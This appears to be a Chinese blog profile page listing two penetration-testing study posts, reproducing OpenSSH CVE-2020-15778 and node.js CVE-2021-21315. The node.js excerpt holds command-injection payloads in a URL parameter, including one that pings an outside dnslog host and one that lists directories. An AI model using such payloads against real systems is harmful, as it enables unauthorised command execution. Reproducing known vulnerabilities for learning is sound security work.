- 博客(2)
- 收藏
- 关注
RSS订阅原创 渗透测试（2）openssh 命令注入 （CVE-2020-15778）复现与攻击
openssh 命令注入 （CVE-2020-15778）是一个风险比较严重，但同时很好解决和局限性很大的漏洞，要求必须攻击者和靶机的OpenSSH版本同时存在该漏洞，若其中一方版本较新，则会对命令进行校验，同时想实现这个漏洞必须要拿到靶机的SSH密码，除非是禁止SSH连接或设置地址限制的情况下才会利用这个漏洞，而且很好解决，只需要更新OpenSSH版本即可。
2026-01-09 14:08:21
629
原创 渗透测试学习（1）-node.js 命令执行 （CVE-2021-21315）复现与攻击
接下来获取目录试试，构造如下命令：String=$(ls | tr -d '\n');构造：/api/getService?name[]=$(ping 2anxei.dnslog.cn)解压：tar -xvfnode-v12.18.4-linux-x64.tar.xz。为方便测试，将文件夹改为nodejs并移动到/usr/local/sbin文件夹下。复现成功，构造URL：/api/getService?添加如上内容并重新编译：source /etc/profile。发现没有压缩工具，下一个先。
2026-01-08 16:43:54
206
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人